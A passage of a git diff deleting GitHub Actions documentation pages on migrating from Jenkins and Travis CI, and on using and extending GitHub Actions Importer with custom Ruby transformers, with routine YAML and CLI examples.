[<code>on.<push\>.<branches\|tags></code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore) <br> [<code>on.<pull_request\>.<branches\></code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore) <br> [<code>on.<push\|pull_request>.paths</code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore) | -| [`triggers { upstreamprojects() }`](https://jenkins.io/doc/book/pipeline/syntax/#triggers) | [`jobs.<job_id>.needs`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds) | -| [Jenkins cron syntax](https://jenkins.io/doc/book/pipeline/syntax/#cron-syntax) | [`on.schedule`](/actions/using-workflows/workflow-syntax-for-github-actions#onschedule) | -| [`stage`](https://jenkins.io/doc/book/pipeline/syntax/#stage) | [`jobs.<job_id>`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_id) <br> [`jobs.<job_id>.name`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idname) | -| [`tools`](https://jenkins.io/doc/book/pipeline/syntax/#tools) | [Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software) | -| [`input`](https://jenkins.io/doc/book/pipeline/syntax/#input) | [`inputs`](/actions/creating-actions/metadata-syntax-for-github-actions#inputs) | -| [`when`](https://jenkins.io/doc/book/pipeline/syntax/#when) | [`jobs.<job_id>.if`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idif) | - -## Using sequential stages - -### Parallel job processing - -Jenkins can run the `stages` and `steps` in parallel, while {% data variables.product.prodname_actions %} currently only runs jobs in parallel. - -| Jenkins Parallel | {% data variables.product.prodname_actions %} | -| ------------- | ------------- | -| [`parallel`](https://jenkins.io/doc/book/pipeline/syntax/#parallel) | [`jobs.<job_id>.strategy.max-parallel`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel) | - -### Matrix - -Both {% data variables.product.prodname_actions %} and Jenkins let you use a matrix to define various system combinations. - -| Jenkins | {% data variables.product.prodname_actions %} | -| ------------- | ------------- | -| [`axis`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-axes) | [`strategy/matrix`](/actions/using-workflows/about-workflows#using-a-build-matrix) <br> [`context`](/actions/learn-github-actions/contexts) | -| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) | [`steps-context`](/actions/learn-github-actions/contexts#steps-context) | -| [`excludes`](https://jenkins.io/doc/book/pipeline/syntax/#matrix-stages) | None | - -### Using steps to execute tasks - -Jenkins groups `steps` together in `stages`. Each of these steps can be a script, function, or command, among others. Similarly, {% data variables.product.prodname_actions %} uses `jobs` to execute specific groups of `steps`. - -| Jenkins | {% data variables.product.prodname_actions %} | -| ------------- | ------------- | -| [`steps`](https://jenkins.io/doc/book/pipeline/syntax/#steps) | [`jobs.<job_id>.steps`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsteps) | - -## Examples of common tasks - -### Scheduling a pipeline to run with `cron` - -#### Jenkins pipeline with `cron` - -```yaml -pipeline { - agent any - triggers { - cron('H/15 * * * 1-5') - } -} -``` - -#### {% data variables.product.prodname_actions %} workflow with `cron` - -```yaml -on: - schedule: - - cron: '*/15 * * * 1-5' -``` - -### Configuring environment variables in a pipeline - -#### Jenkins pipeline with an environment variable - -```yaml -pipeline { - agent any - environment { - MAVEN_PATH = '/usr/local/maven' - } -} -``` - -#### {% data variables.product.prodname_actions %} workflow with an environment variable - -```yaml -jobs: - maven-build: - env: - MAVEN_PATH: '/usr/local/maven' -``` - -### Building from upstream projects - -#### Jenkins pipeline that builds from an upstream project - -```yaml -pipeline { - triggers { - upstream( - upstreamProjects: 'job1,job2', - threshold: hudson.model.Result.SUCCESS - ) - } -} -``` - -#### {% data variables.product.prodname_actions %} workflow that builds from an upstream project - -```yaml -jobs: - job1: - job2: - needs: job1 - job3: - needs: [job1, job2] -``` - -### Building with multiple operating systems - -#### Jenkins pipeline that builds with multiple operating systems - -```yaml -pipeline { - agent none - stages { - stage('Run Tests') { - matrix { - axes { - axis { - name: 'PLATFORM' - values: 'macos', 'linux' - } - } - agent { label "${PLATFORM}" } - stages { - stage('test') { - tools { nodejs "node-20" } - steps { - dir("scripts/myapp") { - sh(script: "npm install -g bats") - sh(script: "bats tests") - } - } - } - } - } - } - } -} -``` - -#### {% data variables.product.prodname_actions %} workflow that builds with multiple operating systems - -```yaml -name: demo-workflow -on: - push: -jobs: - test: - runs-on: {% raw %}${{ matrix.os }}{% endraw %} - strategy: - fail-fast: false - matrix: - os: [macos-latest, ubuntu-latest] - steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: 20 - - run: npm install -g bats - - run: bats tests - working-directory: ./scripts/myapp -``` diff --git a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md b/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md deleted file mode 100644 index b3090283983d..000000000000 --- a/content/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md +++ /dev/null @@ -1,352 +0,0 @@ ---- -title: Migrating from Travis CI to GitHub Actions -intro: '{% data variables.product.prodname_actions %} and Travis CI share multiple similarities, which helps make it relatively straightforward to migrate to {% data variables.product.prodname_actions %}.' -redirect_from: - - /actions/learn-github-actions/migrating-from-travis-ci-to-github-actions - - /actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions - - /actions/migrating-to-github-actions/manual-migrations/migrating-from-travis-ci-to-github-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Travis CI - - Migration - - CI - - CD -shortTitle: Migrate from Travis CI ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide helps you migrate from Travis CI to {% data variables.product.prodname_actions %}. It compares their concepts and syntax, describes the similarities, and demonstrates their different approaches to common tasks. - -## Before you start - -Before starting your migration to {% data variables.product.prodname_actions %}, it would be useful to become familiar with how it works: - -* For a quick example that demonstrates a {% data variables.product.prodname_actions %} job, see [AUTOTITLE](/actions/quickstart). -* To learn the essential {% data variables.product.prodname_actions %} concepts, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions). - -## Comparing job execution - -To give you control over when CI tasks are executed, a {% data variables.product.prodname_actions %} _workflow_ uses _jobs_ that run in parallel by default. Each job contains _steps_ that are executed in a sequence that you define. If you need to run setup and cleanup actions for a job, you can define steps in each job to perform these. - -## Key similarities - -{% data variables.product.prodname_actions %} and Travis CI share certain similarities, and understanding these ahead of time can help smooth the migration process. - -### Using YAML syntax - -Travis CI and {% data variables.product.prodname_actions %} both use YAML to create jobs and workflows, and these files are stored in the code's repository. For more information on how {% data variables.product.prodname_actions %} uses YAML, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions#create-an-example-workflow). - -### Custom variables - -Travis CI lets you set variables and share them between stages. Similarly, {% data variables.product.prodname_actions %} lets you define variables for a workflow. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables). - -### Default variables - -Travis CI and {% data variables.product.prodname_actions %} both include default environment variables that you can use in your YAML files. For {% data variables.product.prodname_actions %}, you can see these listed in [AUTOTITLE](/actions/learn-github-actions/variables#default-environment-variables). - -### Parallel job processing - -Travis CI can use `stages` to run jobs in parallel. Similarly, {% data variables.product.prodname_actions %} runs `jobs` in parallel. For more information, see [AUTOTITLE](/actions/using-workflows/about-workflows#creating-dependent-jobs). - -### Status badges - -Travis CI and {% data variables.product.prodname_actions %} both support status badges, which let you indicate whether a build is passing or failing. -For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge). - -### Using a matrix - -Travis CI and {% data variables.product.prodname_actions %} both support a matrix, allowing you to perform testing using combinations of operating systems and software packages. For more information, see [AUTOTITLE](/actions/using-jobs/using-a-matrix-for-your-jobs). - -Below is an example comparing the syntax for each system. - -#### Travis CI syntax for a matrix - -{% raw %} - -```yaml -matrix: - include: - - rvm: '2.5' - - rvm: '2.6.3' -``` - -{% endraw %} - -#### {% data variables.product.prodname_actions %} syntax for a matrix - -{% raw %} - -```yaml -jobs: - build: - strategy: - matrix: - ruby: ['2.5', '2.6.3'] -``` - -{% endraw %} - -### Targeting specific branches - -Travis CI and {% data variables.product.prodname_actions %} both allow you to target your CI to a specific branch. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore). - -Below is an example of the syntax for each system. - -#### Travis CI syntax for targeting specific branches - -{% raw %} - -```yaml -branches: - only: - - main - - 'mona/octocat' -``` - -{% endraw %} - -#### {% data variables.product.prodname_actions %} syntax for targeting specific branches - -{% raw %} - -```yaml -on: - push: - branches: - - main - - 'mona/octocat' -``` - -{% endraw %} - -### Checking out submodules - -Travis CI and {% data variables.product.prodname_actions %} both allow you to control whether submodules are included in the repository clone. - -Below is an example of the syntax for each system. - -#### Travis CI syntax for checking out submodules - -{% raw %} - -```yaml -git: - submodules: false -``` - -{% endraw %} - -#### {% data variables.product.prodname_actions %} syntax for checking out submodules - -```yaml -- uses: {% data reusables.actions.action-checkout %} - with: - submodules: false -``` - -### Using environment variables in a matrix - -Travis CI and {% data variables.product.prodname_actions %} can both add custom variables to a test matrix, which allows you to refer to the variable in a later step. - -In {% data variables.product.prodname_actions %}, you can use the `include` key to add custom environment variables to a matrix. {% data reusables.actions.matrix-variable-example %} - -## Key features in {% data variables.product.prodname_actions %} - -When migrating from Travis CI, consider the following key features in {% data variables.product.prodname_actions %}: - -### Storing secrets - -{% data variables.product.prodname_actions %} allows you to store secrets and reference them in your jobs. {% data variables.product.prodname_actions %} organizations can limit which repositories can access organization secrets. Deployment protection rules can require manual approval for a workflow to access environment secrets. For more information, see [AUTOTITLE](/actions/security-for-github-actions/security-guides/about-secrets). - -### Sharing files between jobs and workflows - -{% data variables.product.prodname_actions %} includes integrated support for artifact storage, allowing you to share files between jobs in a workflow. You can also save the resulting files and share them with other workflows. For more information, see [AUTOTITLE](/actions/learn-github-actions/essential-features-of-github-actions#sharing-data-between-jobs). - -### Hosting your own runners - -If your jobs require specific hardware or software, {% data variables.product.prodname_actions %} allows you to host your own runners and send your jobs to them for processing. {% data variables.product.prodname_actions %} also lets you use policies to control how these runners are accessed, granting access at the organization or repository level. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners). - -{% ifversion fpt or ghec %} - -### Concurrent jobs and execution time - -The concurrent jobs and workflow execution times in {% data variables.product.prodname_actions %} can vary depending on your {% data variables.product.company_short %} plan. For more information, see [AUTOTITLE](/actions/learn-github-actions/usage-limits-billing-and-administration). - -{% endif %} - -### Using different languages in {% data variables.product.prodname_actions %} - -When working with different languages in {% data variables.product.prodname_actions %}, you can create a step in your job to set up your language dependencies. For more information about working with a particular language, see [AUTOTITLE](/actions/use-cases-and-examples/building-and-testing). - -## Executing scripts - -{% data variables.product.prodname_actions %} can use `run` steps to run scripts or shell commands. To use a particular shell, you can specify the `shell` type when providing the path to the script. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun). - -For example: - -```yaml -steps: - - name: Run build script - run: ./.github/scripts/build.sh - shell: bash -``` - -## Error handling in {% data variables.product.prodname_actions %} - -When migrating to {% data variables.product.prodname_actions %}, there are different approaches to error handling that you might need to be aware of. - -### Script error handling - -{% data variables.product.prodname_actions %} stops a job immediately if one of the steps returns an error code. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference). - -### Job error handling - -{% data variables.product.prodname_actions %} uses `if` conditionals to execute jobs or steps in certain situations. For example, you can run a step when another step results in a `failure()`. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#example-using-status-check-functions). You can also use [`continue-on-error`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) to prevent a workflow run from stopping when a job fails. - -## Migrating syntax for conditionals and expressions - -To run jobs under conditional expressions, Travis CI and {% data variables.product.prodname_actions %} share a similar `if` condition syntax. {% data variables.product.prodname_actions %} lets you use the `if` conditional to prevent a job or step from running unless a condition is met. For more information, see [AUTOTITLE](/actions/learn-github-actions/expressions). - -This example demonstrates how an `if` conditional can control whether a step is executed: - -```yaml -jobs: - conditional: - runs-on: ubuntu-latest - steps: - - run: echo "This step runs with str equals 'ABC' and num equals 123" - if: env.str == 'ABC' && env.num == 123 -``` - -## Migrating phases to steps - -Where Travis CI uses _phases_ to run _steps_, {% data variables.product.prodname_actions %} has _steps_ which execute _actions_. You can find prebuilt actions in the [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), or you can create your own actions. For more information, see [AUTOTITLE](/actions/creating-actions). - -Below is an example of the syntax for each system. - -### Travis CI syntax for phases and steps - -{% raw %} - -```yaml -language: python -python: - - "3.7" - -script: - - python script.py -``` - -{% endraw %} - -### {% data variables.product.prodname_actions %} syntax for steps and actions - -```yaml -jobs: - run_python: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-setup-python %} - with: - python-version: '3.7' - architecture: 'x64' - - run: python script.py -``` - -## Caching dependencies - -Travis CI and {% data variables.product.prodname_actions %} let you manually cache dependencies for later reuse. - -These examples demonstrate the cache syntax for each system. - -### Travis CI syntax for caching - -{% raw %} - -```yaml -language: node_js -cache: npm -``` - -{% endraw %} - -### GitHub Actions syntax for caching - -```yaml -- name: Cache node modules - uses: {% data reusables.actions.action-cache %} - with: - path: ~/.npm - key: {% raw %}v1-npm-deps-${{ hashFiles('**/package-lock.json') }}{% endraw %} - restore-keys: v1-npm-deps- -``` - -## Examples of common tasks - -This section compares how {% data variables.product.prodname_actions %} and Travis CI perform common tasks. - -### Configuring environment variables - -You can create custom environment variables in a {% data variables.product.prodname_actions %} job. - -#### Travis CI syntax for an environment variable - -```yaml -env: - - MAVEN_PATH="/usr/local/maven" -``` - -#### {% data variables.product.prodname_actions %} workflow with an environment variable - -```yaml -jobs: - maven-build: - env: - MAVEN_PATH: '/usr/local/maven' -``` - -### Building with Node.js - -#### Travis CI for building with Node.js - -{% raw %} - -```yaml -install: - - npm install -script: - - npm run build - - npm test -``` - -{% endraw %} - -#### {% data variables.product.prodname_actions %} workflow for building with Node.js - -```yaml -name: Node.js CI -on: [push] -jobs: - build: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Use Node.js - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '16.x' - - run: npm install - - run: npm run build - - run: npm test -``` - -## Next steps - -To continue learning about the main features of {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/learn-github-actions). diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/automating-migration-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/automating-migration-with-github-actions-importer.md deleted file mode 100644 index 6d3b868ea9d5..000000000000 --- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/automating-migration-with-github-actions-importer.md +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: Automating migration with GitHub Actions Importer -intro: 'Use {% data variables.product.prodname_actions_importer %} to plan and automate your migration to {% data variables.product.prodname_actions %}.' -redirect_from: - - /actions/migrating-to-github-actions/automating-migration-with-github-actions-importer - - /actions/migrating-to-github-actions/automated-migrations/automating-migration-with-github-actions-importer -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Migration - - CI - - CD -shortTitle: 'Automate migration with {% data variables.product.prodname_actions_importer %}' ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -[Legal notice](#legal-notice) - -## About {% data variables.product.prodname_actions_importer %} - -You can use {% data variables.product.prodname_actions_importer %} to plan and automatically migrate your CI/CD supported pipelines to {% data variables.product.prodname_actions %}. - -{% data variables.product.prodname_actions_importer %} is distributed as a Docker container, and uses a [{% data variables.product.prodname_dotcom %} CLI](https://cli.github.com) extension to interact with the container. - -Any workflow that is converted by the {% data variables.product.prodname_actions_importer %} should be inspected for correctness before using it as a production workload. The goal is to achieve an 80% conversion rate for every workflow, however, the actual conversion rate will depend on the makeup of each individual pipeline that is converted. - -## Supported CI platforms - -You can use {% data variables.product.prodname_actions_importer %} to migrate from the following platforms: - -* Azure DevOps -* Bamboo -* Bitbucket Pipelines -* CircleCI -* GitLab (both cloud and self-hosted) -* Jenkins -* Travis CI - -## Prerequisites - -{% data variables.product.prodname_actions_importer %} has the following requirements: - -{% data reusables.actions.actions-importer-prerequisites %} - -### Installing the {% data variables.product.prodname_actions_importer %} CLI extension - -{% data reusables.actions.installing-actions-importer %} - -### Updating the {% data variables.product.prodname_actions_importer %} CLI - -To ensure you're running the latest version of {% data variables.product.prodname_actions_importer %}, you should regularly run the `update` command: - -```bash -gh actions-importer update -``` - -### Authenticating at the command line - -You must configure credentials that allow {% data variables.product.prodname_actions_importer %} to communicate with {% data variables.product.prodname_dotcom %} and your current CI server. You can configure these credentials using environment variables or a `.env.local` file. The environment variables can be configured in an interactive prompt, by running the following command: - -```bash -gh actions-importer configure -``` - -## Using the {% data variables.product.prodname_actions_importer %} CLI - -Use the subcommands of `gh actions-importer` to begin your migration to {% data variables.product.prodname_actions %}, including `audit`, `forecast`, `dry-run`, and `migrate`. - -### Auditing your existing CI pipelines - -The `audit` subcommand can be used to plan your CI/CD migration by analyzing your current CI/CD footprint. This analysis can be used to plan a timeline for migrating to {% data variables.product.prodname_actions %}. - -To run an audit, use the following command to determine your available options: - -```bash -$ gh actions-importer audit -h -Description: - Plan your CI/CD migration by analyzing your current CI/CD footprint. - -[...] - -Commands: - azure-devops An audit will output a list of data used in an Azure DevOps instance. - bamboo An audit will output a list of data used in a Bamboo instance. - circle-ci An audit will output a list of data used in a CircleCI instance. - gitlab An audit will output a list of data used in a GitLab instance. - jenkins An audit will output a list of data used in a Jenkins instance. - travis-ci An audit will output a list of data used in a Travis CI instance. -``` - -### Forecasting usage - -The `forecast` subcommand reviews historical pipeline usage to create a forecast of {% data variables.product.prodname_actions %} usage. - -To run a forecast, use the following command to determine your available options: - -```bash -$ gh actions-importer forecast -h -Description: - Forecasts GitHub Actions usage from historical pipeline utilization. - -[...] - -Commands: - azure-devops Forecasts GitHub Actions usage from historical Azure DevOps pipeline utilization. - bamboo Forecasts GitHub Actions usage from historical Bamboo pipeline utilization. - jenkins Forecasts GitHub Actions usage from historical Jenkins pipeline utilization. - gitlab Forecasts GitHub Actions usage from historical GitLab pipeline utilization. - circle-ci Forecasts GitHub Actions usage from historical CircleCI pipeline utilization. - travis-ci Forecasts GitHub Actions usage from historical Travis CI pipeline utilization. - github Forecasts GitHub Actions usage from historical GitHub pipeline utilization. -``` - -### Testing the migration process - -The `dry-run` subcommand can be used to convert a pipeline to its {% data variables.product.prodname_actions %} equivalent, and then write the workflow to your local filesystem. - -To perform a dry run, use the following command to determine your available options: - -```bash -$ gh actions-importer dry-run -h -Description: - Convert a pipeline to a GitHub Actions workflow and output its yaml file. - -[...] - -Commands: - azure-devops Convert an Azure DevOps pipeline to a GitHub Actions workflow and output its yaml file. - bamboo Convert a Bamboo pipeline to GitHub Actions workflows and output its yaml file. - circle-ci Convert a CircleCI pipeline to GitHub Actions workflows and output the yaml file(s). - gitlab Convert a GitLab pipeline to a GitHub Actions workflow and output the yaml file. - jenkins Convert a Jenkins job to a GitHub Actions workflow and output its yaml file. - travis-ci Convert a Travis CI pipeline to a GitHub Actions workflow and output its yaml file. -``` - -### Migrating a pipeline to {% data variables.product.prodname_actions %} - -The `migrate` subcommand can be used to convert a pipeline to its GitHub Actions equivalent and then create a pull request with the contents. - -To run a migration, use the following command to determine your available options: - -```bash -$ gh actions-importer migrate -h -Description: - Convert a pipeline to a GitHub Actions workflow and open a pull request with the changes. - -[...] - -Commands: - azure-devops Convert an Azure DevOps pipeline to a GitHub Actions workflow and open a pull request with the changes. - bamboo Convert a Bamboo pipeline to GitHub Actions workflows and open a pull request with the changes. - circle-ci Convert a CircleCI pipeline to GitHub Actions workflows and open a pull request with the changes. - gitlab Convert a GitLab pipeline to a GitHub Actions workflow and open a pull request with the changes. - jenkins Convert a Jenkins job to a GitHub Actions workflow and open a pull request with the changes. - travis-ci Convert a Travis CI pipeline to a GitHub Actions workflow and open a pull request with the changes. -``` - -## Performing self-serve migrations using IssueOps - -You can use {% data variables.product.prodname_actions %} and {% data variables.product.prodname_github_issues %} to run CLI commands for {% data variables.product.prodname_actions_importer %}. This allows you to migrate your CI/CD workflows without installing software on your local machine. This approach is especially useful for organizations that want to enable self-service migrations to {% data variables.product.prodname_actions %}. Once IssueOps is configured, users can open an issue with the relevant template to migrate pipelines to {% data variables.product.prodname_actions %}. - -For more information about setting up self-serve migrations with IssueOps, see the [`actions/importer-issue-ops`](https://github.com/actions/importer-issue-ops) template repository. - -## Using the {% data variables.product.prodname_actions_importer %} labs repository - -The {% data variables.product.prodname_actions_importer %} labs repository contains platform-specific learning paths that teach you how to use {% data variables.product.prodname_actions_importer %} and how to approach migrations to {% data variables.product.prodname_actions %}. You can use this repository to learn how to use {% data variables.product.prodname_actions_importer %} to help plan, forecast, and automate your migration to {% data variables.product.prodname_actions %}. - -To learn more, see the [GitHub Actions Importer labs repository](https://github.com/actions/importer-labs/tree/main#readme). - -## Legal notice - -{% data reusables.actions.actions-importer-legal-notice %} diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/extending-github-actions-importer-with-custom-transformers.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/extending-github-actions-importer-with-custom-transformers.md deleted file mode 100644 index a42e986fb049..000000000000 --- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/extending-github-actions-importer-with-custom-transformers.md +++ /dev/null @@ -1,173 +0,0 @@ ---- -title: Extending GitHub Actions Importer with custom transformers -intro: '{% data variables.product.prodname_actions_importer %} offers the ability to extend its built-in mapping.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Migration - - CI - - CD -shortTitle: Extending GitHub Actions Importer -redirect_from: - - /actions/migrating-to-github-actions/automated-migrations/extending-github-actions-importer-with-custom-transformers ---- - -[Legal notice](#legal-notice) - -## About custom transformers - -{% data variables.product.prodname_actions_importer %} offers the ability to extend its built-in mapping by creating custom transformers. Custom transformers can be used to: - -* Convert items that {% data variables.product.prodname_actions_importer %} does not automatically convert, or modify how items are converted. For more information, see [Creating custom transformers for items](#creating-custom-transformers-for-items). -* Convert references to runners to use different runner labels. For more information, see [Creating custom transformers for runners](#creating-custom-transformers-for-runners). -* Convert environment variable values from your existing pipelines to {% data variables.product.prodname_actions %} workflows. For more information, see [Creating custom transformers for environment variables](#creating-custom-transformers-for-environment-variables). - -## Using custom transformers with {% data variables.product.prodname_actions_importer %} - -A custom transformer contains mapping logic that {% data variables.product.prodname_actions_importer %} can use to transform your plugins, tasks, runner labels, or environment variables to work with {% data variables.product.prodname_actions %}. Custom transformers are written with a domain-specific language (DSL) built on top of Ruby, and are defined within a file with the `.rb` file extension. - -You can use the `--custom-transformers` CLI option to specify which custom transformer files to use with the `audit`, `dry-run`, and `migrate` commands. - -For example, if custom transformers are defined in a file named `transformers.rb`, you can use the following command to use them with {% data variables.product.prodname_actions_importer %}: - -```shell -gh actions-importer ... --custom-transformers transformers.rb -``` - -Alternatively, you can use the glob pattern syntax to specify multiple custom transformer files. For example, if multiple custom transformer files are within a directory named `transformers`, you can provide them all to {% data variables.product.prodname_actions_importer %} with the following command: - -```shell -gh actions-importer ... --custom-transformers transformers/*.rb -``` - -> [!NOTE] -> When you use custom transformers, the custom transformer files must reside in the same directory, or in subdirectories, from where the `gh actions-importer` command is run. - -## Creating custom transformers for items - -You can create custom transformers that {% data variables.product.prodname_actions_importer %} will use when converting existing build steps or triggers to their equivalent in {% data variables.product.prodname_actions %}. This is especially useful when: - -* {% data variables.product.prodname_actions_importer %} doesn't automatically convert an item. -* You want to change how an item is converted by {% data variables.product.prodname_actions_importer %}. -* Your existing pipelines use custom or proprietary extensions, such as shared libraries in Jenkins, and you need to define how these steps should function in {% data variables.product.prodname_actions %}. - -{% data variables.product.prodname_actions_importer %} uses custom transformers that are defined using a DSL built on top of Ruby. In order to create custom transformers for build steps and triggers: - -* Each custom transformer file must contain at least one `transform` method. -* Each `transform` method must return a `Hash`, an array of `Hash`'s, or `nil`. This returned value will correspond to an action defined in YAML. For more information about actions, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions). - -### Example custom transformer for a build step - -The following example converts a build step that uses the "buildJavaScriptApp" identifier to run various `npm` commands: - -```ruby copy -transform "buildJavaScriptApp" do |item| - command = ["build", "package", "deploy"].map do |script| - "npm run #{script}" - end - - { - name: "build javascript app", - run: command.join("\n") - } -end -``` - -The above example results in the following {% data variables.product.prodname_actions %} workflow step. It is comprised of converted build steps that had a `buildJavaScriptApp` identifier: - -```yaml -- name: build javascript app - run: | - npm run build - npm run package - npm run deploy -``` - -The `transform` method uses the identifier of the build step from your source CI/CD instance in an argument. In this example, the identifier is `buildJavaScriptLibrary`. You can also use comma-separated values to pass multiple identifiers to the `transform` method. For example, `transform "buildJavaScriptApp", "buildTypeScriptApp" { |item| ... }`. - -> [!NOTE] -> The data structure of `item` will be different depending on the CI/CD platform and the type of item being converted. - -## Creating custom transformers for runners - -You can customize the mapping between runners in your source CI/CD instance and their equivalent {% data variables.product.prodname_actions %} runners. - -{% data variables.product.prodname_actions_importer %} uses custom transformers that are defined using a DSL built on top of Ruby. To create custom transformers for runners: - -* The custom transformer file must have at least one `runner` method. -* The `runner` method accepts two parameters. The first parameter is the source CI/CD instance's runner label, and the second parameter is the corresponding {% data variables.product.prodname_actions %} runner label. For more information on {% data variables.product.prodname_actions %} runners, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources). - -### Example custom transformers for runners - -The following example shows a `runner` method that converts one runner label to one {% data variables.product.prodname_actions %} runner label in the resulting workflow. - -```ruby copy -runner "linux", "ubuntu-latest" -``` - -You can also use the `runner` method to convert one runner label to multiple {% data variables.product.prodname_actions %} runner labels in the resulting workflow. - -```ruby copy -runner "big-agent", ["self-hosted", "xl", "linux"] -``` - -{% data variables.product.prodname_actions_importer %} attempts to map the runner label as best it can. In cases where it cannot do this, the `ubuntu-latest` runner label is used as a default. You can use a special keyword with the `runner` method to control this default value. For example, the following custom transformer instructs {% data variables.product.prodname_actions_importer %} to use `macos-latest` as the default runner instead of `ubuntu-latest`. - -```ruby copy -runner :default, "macos-latest" -``` - -## Creating custom transformers for environment variables - -You can customize the mapping between environment variables in your source CI/CD pipelines to their values in {% data variables.product.prodname_actions %}. - -{% data variables.product.prodname_actions_importer %} uses custom transformers that are defined using a DSL built on top of Ruby. To create custom transformers for environment variables: - -* The custom transformer file must have at least one `env` method. -* The `env` method accepts two parameters. The first parameter is the name of the environment variable in the original pipeline, and the second parameter is the updated value for the environment variable for {% data variables.product.prodname_actions %}. For more information about {% data variables.product.prodname_actions %} environment variables, see [AUTOTITLE](/actions/learn-github-actions/variables). - -### Example custom transformers for environment variables - -There are several ways you can set up custom transformers to map your environment variables. - -* The following example sets the value of any existing environment variables named `OCTO`, to `CAT` when transforming a pipeline. - - ```ruby copy - env "OCTO", "CAT" - ``` - - You can also remove all instances of a specific environment variable so they are not transformed to an {% data variables.product.prodname_actions %} workflow. The following example removes all environment variables with the name `MONA_LISA`. - - ```ruby copy - env "MONA_LISA", nil - ``` - -* You can also map your existing environment variables to secrets. For example, the following `env` method maps an environment variable named `MONALISA` to a secret named `OCTOCAT`. - - ```ruby copy - env "MONALISA", secret("OCTOCAT") - ``` - - This will set up a reference to a secret named `OCTOCAT` in the transformed workflow. For the secret to work, you will need to create the secret in your GitHub repository. For more information, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-a-repository). - -* You can also use regular expressions to update the values of multiple environment variables at once. For example, the following custom transformer removes all environment variables from the converted workflow: - - ```ruby copy - env /.*/, nil - ``` - - The following example uses a regular expression match group to transform environment variable values to dynamically generated secrets. - - ```ruby copy - env /^(.+)_SSH_KEY/, secret("%s_SSH_KEY) - ``` - - > [!NOTE] - > The order in which `env` methods are defined matters when using regular expressions. The first `env` transformer that matches an environment variable name takes precedence over subsequent `env` methods. You should define your most specific environment variable transformers first. - -## Legal notice - -{% data reusables.actions.actions-importer-legal-notice %} diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/index.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/index.md deleted file mode 100644 index 308059c51592..000000000000 --- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: 'Using {% data variables.product.prodname_actions_importer %} to automate migrations' -shortTitle: Automated migrations -intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to migrate your CI/CD workflows to {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /automating-migration-with-github-actions-importer - - /extending-github-actions-importer-with-custom-transformers - - /supplemental-arguments-and-settings - - /migrating-from-azure-devops-with-github-actions-importer - - /migrating-from-bamboo-with-github-actions-importer - - /migrating-from-bitbucket-pipelines-with-github-actions-importer - - /migrating-from-circleci-with-github-actions-importer - - /migrating-from-gitlab-with-github-actions-importer - - /migrating-from-jenkins-with-github-actions-importer - - /migrating-from-travis-ci-with-github-actions-importer 